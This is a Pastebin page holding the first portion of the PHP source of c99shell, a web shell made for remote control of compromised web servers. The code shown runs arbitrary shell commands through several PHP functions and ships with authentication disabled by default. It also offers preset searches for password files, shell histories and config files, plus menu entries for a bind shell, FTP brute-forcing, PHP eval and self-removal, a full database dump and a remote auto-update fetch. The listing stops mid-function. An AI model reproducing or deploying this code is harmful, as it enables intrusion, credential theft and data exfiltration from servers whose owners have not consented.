Want more features on Pastebin? Sign Up, it's FREE!
Guest

c99shell.php v.1.0 beta (?? 21.05.2005)

By: a guest on Jul 13th, 2012  |  syntax: PHP  |  size: 152.55 KB  |  views: 156  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?
  2. //add php tags before usage
  3. /*
  4. ******************************************************************************************************
  5. *
  6. *                                       c99shell.php v.1.0 beta (?? 21.05.2005)
  7. *                                                       Freeware license.
  8. *                                                               © CCTeaM.
  9. *  c99shell - ????-???????? ????? www-???????, "?????????" ??? ??????.
  10. *  ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:
  11.    http://ccteam.ru/releases/c99shell
  12. *
  13. *  WEB: http://ccteam.ru
  14. *  ICQ UIN #: 656555
  15. *
  16. *  ???????????:
  17. *  + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ??????????
  18. *    ??????????? ?????????? ?????? ? ?????
  19. *    (?????????????? ?????????????/??????????????? ????? tar *)
  20. *    ??????????? ????? (???????? ?????? ??????)
  21. *    modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth)
  22. *  + ??????????? SQL-???????? ?? ?????????? phpmyadmin,
  23.      ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql
  24. *  + ?????????? ?????????? unix-??????.
  25. *  + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????)
  26. *  + ?????????? ????????????? PHP-????
  27. *  + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64
  28. *  + ??????? ????????? ?????? ???????????? ??
  29. *  + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????)
  30. *    ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL)
  31. *  + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)
  32.      ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl",
  33.      ???? ????-?????? ???????? $set_surl ? cookie "set_surl"
  34. *  + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????,
  35. *    ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat).
  36. *  + ??????????? ???????? ????-???????? ???????
  37. *  + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail())
  38.  
  39. *  * - ????? ????????? ??????? ?? ???????????? PHP
  40. *
  41. *       ? ????? ????? ??????? ??? ???!
  42. *
  43. *   ????????? ?????????:
  44. *  ~ ???????? sql-?????????
  45. *  ~ ?????????? ??????????? ?????????? ??????
  46. *
  47. *  ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)
  48.        ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.
  49. *
  50. *  Last modify: 21.05.2005
  51. *
  52. *  © Captain Crunch Security TeaM. Coded by tristram
  53. *
  54. ******************************************************************************************************
  55. */
  56.  
  57. //Starting calls
  58. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  59. error_reporting(5);
  60. @ignore_user_abort(true);
  61. @set_magic_quotes_runtime(0);
  62. @set_time_limit(0);
  63. $win = strtolower(substr(PHP_OS, 0, 3)) == "win";
  64. if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
  65. define("starttime",getmicrotime());
  66. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  67. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  68. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  69.  
  70. $shver = "1.0 beta (21.05.2005)"; //Current version
  71. //CONFIGURATION AND SETTINGS
  72. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  73. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  74. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  75. }
  76.  
  77. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  78.  
  79. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  80. if (empty($surl))
  81. {
  82.  $surl = "?".$includestr; //Self url
  83. }
  84. $surl = htmlspecialchars($surl);
  85.  
  86. $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
  87.  
  88. //Authentication
  89.  
  90. $login = "c99"; //login
  91. //DON'T FORGOT ABOUT CHANGE PASSWORD!!!
  92. $pass = "c99"; //password
  93. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  94.  
  95.         /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification
  96.  
  97. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  98. $login_txt = "Restricted area"; //http-auth message.
  99. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  100.  
  101. $autoupdate = false; //Automatic updating?
  102. $updatenow = false; //If true, update now
  103. $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
  104.  
  105. $filestealth = false; //if true, don't change modify&access-time
  106.  
  107. $donated_html = "<center><b>Owned by hacker</b></center>";
  108.                 /* If you publish free shell and you wish
  109.                 add link to your site or any other information,
  110.                 put here your html. */
  111. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  112.  
  113. $curdir = "./"; //start directory
  114. //$curdir = getenv("DOCUMENT_ROOT");
  115. $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  116. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  117.  
  118. $log_email = "user@host.tld"; //Default e-mail for sending logs
  119.  
  120. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  121. $sort_save = true; //If true then save sorting-type.
  122.  
  123. // Registered file-types.
  124. //  array(
  125. //   "{action1}"=>array("ext1","ext2","ext3",...),
  126. //   "{action2}"=>array("ext4","ext5","ext6",...),
  127. //   ...
  128. //  )
  129. $ftypes  = array(
  130.  "html"=>array("html","htm","shtml"),
  131.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  132.  "exe"=>array("sh","install","bat","cmd"),
  133.  "ini"=>array("ini","inf"),
  134.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  135.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  136.  "sdb"=>array("sdb"),
  137.  "phpsess"=>array("sess"),
  138.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  139. );
  140.  
  141. // Registered executable file-types.
  142. //  array(
  143. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  144. //   ...
  145. //  )
  146. //   {command}: %f% = filename
  147. $exeftypes  = array(
  148.  getenv("PHPRC")." %f%"=>array("php","php3","php4"),
  149. );
  150.  
  151. /* Highlighted files.
  152.   array(
  153.    i=>array({regexp},{type},{opentag},{closetag},{break})
  154.    ...
  155.   )
  156.   string {regexp} - regular exp.
  157.   int {type}:
  158.         0 - files and folders (as default),
  159.         1 - files only, 2 - folders only
  160.   string {opentag} - open html-tag, e.g. "<b>" (default)
  161.   string {closetag} - close html-tag, e.g. "</b>" (default)
  162.   bool {break} - if true and found match then break
  163. */
  164. $regxp_highlight  = array(
  165.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  166.   array("config.php",1) // example
  167. );
  168.  
  169. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  170.                                                                          // array (i=>{letter} ...); string {letter} - letter of a drive
  171.                                                                         // Set as false or for turn off.
  172. $hexdump_lines = 8;     // lines in hex preview file
  173. $hexdump_rows = 24;     // 16, 24 or 32 bytes in one line
  174.  
  175. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  176.  
  177. $bindport_pass = "c99";   // default password for binding
  178. $bindport_port = "11457"; // default port for binding
  179.  
  180. // Command-aliases
  181. if (!$win)
  182. {
  183.  $cmdaliases = array(
  184.   array("-----------------------------------------------------------", "ls -la"),
  185.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  186.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  187.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  188.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  189.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  190.   array("find config* files", "find / -type f -name \"config*\""),
  191.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  192.   array("find all writable directories and files", "find / -perm -2 -ls"),
  193.   array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
  194.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  195.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  196.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  197.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  198.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  199.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  200.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  201.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  202.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  203.   array("show opened ports", "netstat -an | grep -i listen")
  204.  );
  205. }
  206. else
  207. {
  208.  $cmdaliases = array(
  209.   array("-----------------------------------------------------------", "dir"),
  210.   array("show opened ports", "netstat -an")
  211.  );
  212. }
  213.  
  214. $sess_cookie = "c99shvars"; // Cookie-variable name
  215.  
  216. $usefsbuff = true; //Buffer-function
  217. $copy_unset = false; //Remove copied files from buffer after pasting
  218.  
  219. //Quick launch
  220. $quicklaunch = array(
  221.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  222.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  223.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  224.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  225.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  226.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  227.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  228.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  229.  array("<b>Bind</b>",$surl."act=bind&d=%d"),
  230.  array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
  231.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  232.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  233.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  234.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  235.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  236.  array("<b>Self remove</b>",$surl."act=selfremove"),
  237.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  238. );
  239.  
  240. //Highlight-code colors
  241. $highlight_background = "#c0c0c0";
  242. $highlight_bg = "#FFFFFF";
  243. $highlight_comment = "#6A6A6A";
  244. $highlight_default = "#0000BB";
  245. $highlight_html = "#1300FF";
  246. $highlight_keyword = "#007700";
  247. $highlight_string = "#000000";
  248.  
  249. @$f = $_REQUEST["f"];
  250. @extract($_REQUEST["c99shcook"]);
  251.  
  252. //END CONFIGURATION
  253.  
  254.  
  255. //                              \/      Next code isn't for editing     \/
  256. $tmp = array();
  257. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  258. $s = "!^(".implode("|",$tmp).")$!i";
  259. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  260. if ($login)
  261. {
  262.  if(empty($md5_pass)) {$md5_pass = md5($pass);}
  263.  if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  264.  {
  265.   if ($login_txt === false) {$login_txt = "";}
  266.   elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  267.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  268.   header("HTTP/1.0 401 Unauthorized");
  269.   exit($accessdeniedmess);
  270.  }
  271. }
  272. if ($act != "img")
  273. {
  274. $lastdir = realpath(".");
  275. chdir($curdir);
  276. if (($selfwrite) or ($updatenow))
  277. {
  278.  if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
  279.  c99sh_getupdate();
  280.  $data = file_get_contents($c99sh_updatefurl);
  281.  $fp = fopen($data,"w");
  282.  fwrite($fp,$data);
  283.  fclose($fp);
  284.  exit;
  285. }
  286. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  287. if (!is_array($sess_data)) {$sess_data = array();}
  288. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  289. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  290.  
  291. if (!function_exists("c99_buff_prepare"))
  292. {
  293. function c99_buff_prepare()
  294. {
  295.  global $sess_data;
  296.  global $act;
  297.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  298.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  299.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  300.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  301.  sort($sess_data["copy"]);
  302.  sort($sess_data["cut"]);
  303.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  304.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  305. }
  306. }
  307. c99_buff_prepare();
  308. if (!function_exists("c99_sess_put"))
  309. {
  310. function c99_sess_put($data)
  311. {
  312.  global $sess_cookie;
  313.  global $sess_data;
  314.  c99_buff_prepare();
  315.  $sess_data = $data;
  316.  $data = serialize($data);
  317.  setcookie($sess_cookie,$data);
  318. }
  319. }
  320. if ($sort_save)
  321. {
  322.  if (!empty($sort)) {setcookie("sort",$sort);}
  323.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  324. }
  325. if (!function_exists("str2mini"))
  326. {
  327. function str2mini($content,$len)
  328. {
  329.  if (strlen($content) > $len)
  330.  {
  331.   $len = ceil($len/2) - 2;
  332.   return substr($content, 0, $len)."...".substr($content, -$len);
  333.  }
  334.  else {return $content;}
  335. }
  336. }
  337. if (!function_exists("view_size"))
  338. {
  339. function view_size($size)
  340. {
  341.  if (!is_numeric($size)) {return false;}
  342.  else
  343.  {
  344.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  345.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  346.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  347.   else {$size = $size . " B";}
  348.   return $size;
  349.  }
  350. }
  351. }
  352. if (!function_exists("fs_copy_dir"))
  353. {
  354. function fs_copy_dir($d,$t)
  355. {
  356.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  357.  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  358.  $h = opendir($d);
  359.  while (($o = readdir($h)) !== false)
  360.  {
  361.   if (($o != ".") and ($o != ".."))
  362.   {
  363.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  364.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  365.    if (!$ret) {return $ret;}
  366.   }
  367.  }
  368.  closedir($h);
  369.  return true;
  370. }
  371. }
  372. if (!function_exists("fs_copy_obj"))
  373. {
  374. function fs_copy_obj($d,$t)
  375. {
  376.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  377.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  378.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  379.  if (is_dir($d))
  380.  {
  381.   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  382.   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  383.   return fs_copy_dir($d,$t);
  384.  }
  385.  elseif (is_file($d)) {return copy($d,$t);}
  386.  else {return false;}
  387. }
  388. }
  389. if (!function_exists("fs_move_dir"))
  390. {
  391. function fs_move_dir($d,$t)
  392. {
  393.  $h = opendir($d);
  394.  if (!is_dir($t)) {mkdir($t);}
  395.  while (($o = readdir($h)) !== false)
  396.  {
  397.   if (($o != ".") and ($o != ".."))
  398.   {
  399.    $ret = true;
  400.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  401.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  402.    if (!$ret) {return $ret;}
  403.   }
  404.  }
  405.  closedir($h);
  406.  return true;
  407. }
  408. }
  409. if (!function_exists("fs_move_obj"))
  410. {
  411. function fs_move_obj($d,$t)
  412. {
  413.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  414.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  415.  if (is_dir($d))
  416.  {
  417.   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  418.   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  419.   return fs_move_dir($d,$t);
  420.  }
  421.  elseif (is_file($d))
  422.  {
  423.   if(copy($d,$t)) {return unlink($d);}
  424.   else {unlink($t); return false;}
  425.  }
  426.  else {return false;}
  427. }
  428. }
  429. if (!function_exists("fs_rmdir"))
  430. {
  431. function fs_rmdir($d)
  432. {
  433.  $h = opendir($d);
  434.  while (($o = readdir($h)) !== false)
  435.  {
  436.   if (($o != ".") and ($o != ".."))
  437.   {
  438.    if (!is_dir($d.$o)) {unlink($d.$o);}
  439.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  440.   }
  441.  }
  442.  closedir($h);
  443.  rmdir($d);
  444.  return !is_dir($d);
  445. }
  446. }
  447. if (!function_exists("fs_rmobj"))
  448. {
  449. function fs_rmobj($o)
  450. {
  451.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  452.  if (is_dir($o))
  453.  {
  454.   if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  455.   return fs_rmdir($o);
  456.  }
  457.  elseif (is_file($o)) {return unlink($o);}
  458.  else {return false;}
  459. }
  460. }
  461. if (!function_exists("myshellexec"))
  462. {
  463. function myshellexec($cmd)
  464. {
  465.  $result = "";
  466.  if (!empty($cmd))
  467.  {
  468.   if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
  469.   elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
  470.   elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  471.   elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  472.   elseif (($result = `$cmd`) !== false) {}
  473.   elseif (is_resource($fp = popen($cmd,"r")))
  474.   {
  475.    $result = "";
  476.    while(!feof($fp)) {$result .= fread($fp,1024);}
  477.    pclose($fp);
  478.   }
  479.  }
  480.  return $result;
  481. }
  482. }
  483. if (!function_exists("tabsort"))
  484. {
  485.  function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  486. }
  487. if (!function_exists("view_perms"))
  488. {
  489. function view_perms($mode)
  490. {
  491.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  492.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  493.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  494.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  495.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  496.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  497.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  498.  else {$type = "?";}
  499.  
  500.  $owner["read"] = ($mode & 00400) ? "r" : "-";
  501.  $owner["write"] = ($mode & 00200) ? "w" : "-";
  502.  $owner["execute"] = ($mode & 00100) ? "x" : "-";
  503.  $group["read"] = ($mode & 00040) ? "r" : "-";
  504.  $group["write"] = ($mode & 00020) ? "w" : "-";
  505.  $group["execute"] = ($mode & 00010) ? "x" : "-";
  506.  $world["read"] = ($mode & 00004) ? "r" : "-";
  507.  $world["write"] = ($mode & 00002) ? "w" : "-";
  508.  $world["execute"] = ($mode & 00001) ? "x" : "-";
  509.  
  510.  if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";}
  511.  if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";}
  512.  if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";}
  513.  
  514.  return $type.$owner["read"].$owner["write"].$owner["execute"].
  515.         $group["read"].$group["write"].$group["execute"].
  516.         $world["read"].$world["write"].$world["execute"];
  517. }
  518. }
  519. if (!function_exists("parse_perms"))
  520. {
  521. function parse_perms($mode)
  522. {
  523.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  524.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  525.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  526.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  527.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  528.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  529.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  530.  else {$t = "?";}
  531.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  532.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  533.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  534.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  535. }
  536. }
  537. if (!function_exists("view_perms_color"))
  538. {
  539. function view_perms_color($o)
  540. {
  541.  if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";}
  542.  elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";}
  543.  else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";}
  544. }
  545. }
  546. if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
  547. if (!function_exists("c99sh_getupdate"))
  548. {
  549. function c99sh_getupdate()
  550. {
  551.  global $updatenow;
  552.  $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&");
  553.  if (!$data) {echo "Can't fetch update-information!";}
  554.  else
  555.  {
  556.   $data = unserialize(base64_decode($data));
  557.   if (!is_array($data)) {echo "Corrupted update-information!";}
  558.   elseif ($shver < $data["cur"]) {$updatenow = true;}
  559.  }
  560. }
  561. }
  562. if (!function_exists("mysql_dump"))
  563. {
  564. function mysql_dump($set)
  565. {
  566.  global $shver;
  567.  $sock = $set["sock"];
  568.  $db = $set["db"];
  569.  $print = $set["print"];
  570.  $nl2br = $set["nl2br"];
  571.  $file = $set["file"];
  572.  $add_drop = $set["add_drop"];
  573.  $tabs = $set["tabs"];
  574.  $onlytabs = $set["onlytabs"];
  575.  $ret = array();
  576.  $ret["err"] = array();
  577.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  578.  if (empty($db)) {$db = "db";}
  579.  if (empty($print)) {$print = 0;}
  580.  if (empty($nl2br)) {$nl2br = 0;}
  581.  if (empty($add_drop)) {$add_drop = true;}
  582.  if (empty($file))
  583.  {
  584.   global $win;
  585.   if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
  586.   else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
  587.  }
  588.  if (!is_array($tabs)) {$tabs = array();}
  589.  if (empty($add_drop)) {$add_drop = true;}
  590.  if (sizeof($tabs) == 0)
  591.  {
  592.   // retrive tables-list
  593.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  594.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  595.  }
  596.  $SERVER_ADDR = getenv("SERVER_ADDR");
  597.  $SERVER_NAME = getenv("SERVER_NAME");
  598.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  599. # Home page: http://ccteam.ru
  600. #
  601. # Host settings:
  602. # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
  603. # Date: ".date("d.m.Y H:i:s")."
  604. # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
  605. #---------------------------------------------------------
  606. ";
  607.  $c = count($onlytabs);
  608.  foreach($tabs as $tab)
  609.  {
  610.   if ((in_array($tab,$onlytabs)) or (!$c))
  611.   {
  612.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  613.    // recieve query for create table structure
  614.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  615.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  616.    else
  617.    {
  618.     $row = mysql_fetch_row($res);
  619.     $out .= $row["1"].";\n\n";
  620.     // recieve table variables
  621.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  622.     if (mysql_num_rows($res) > 0)
  623.     {
  624.      while ($row = mysql_fetch_assoc($res))
  625.      {
  626.       $keys = implode("`, `", array_keys($row));
  627.       $values = array_values($row);
  628.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  629.       $values = implode("', '", $values);
  630.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  631.       $out .= $sql;
  632.      }
  633.     }
  634.    }
  635.   }
  636.  }
  637.  $out .= "#---------------------------------------------------------------------------------\n\n";
  638.  if ($file)
  639.  {
  640.   $fp = fopen($file, "w");
  641.   if (!$fp) {$ret["err"][] = 2;}
  642.   else
  643.   {
  644.    fwrite ($fp, $out);
  645.    fclose ($fp);
  646.   }
  647.  }
  648.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  649.  return $out;
  650. }
  651. }
  652. if (!function_exists("mysql_buildwhere"))
  653. {
  654. function mysql_buildwhere($array,$sep=" and",$functs=array())
  655. {
  656.  if (!is_array($array)) {$array = array();}
  657.  $result = "";
  658.  foreach($array as $k=>$v)
  659.  {
  660.   $value = "";
  661.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  662.   $value .= "'".addslashes($v)."'";
  663.   if (!empty($functs[$k])) {$value .= ")";}
  664.   $result .= "`".$k."` = ".$value.$sep;
  665.  }
  666.  $result = substr($result,0,strlen($result)-strlen($sep));
  667.  return $result;
  668. }
  669. }
  670. if (!function_exists("mysql_fetch_all"))
  671. {
  672. function mysql_fetch_all($query,$sock)
  673. {
  674.  if ($sock) {$result = mysql_query($query,$sock);}
  675.  else {$result = mysql_query($query);}
  676.  $array = array();
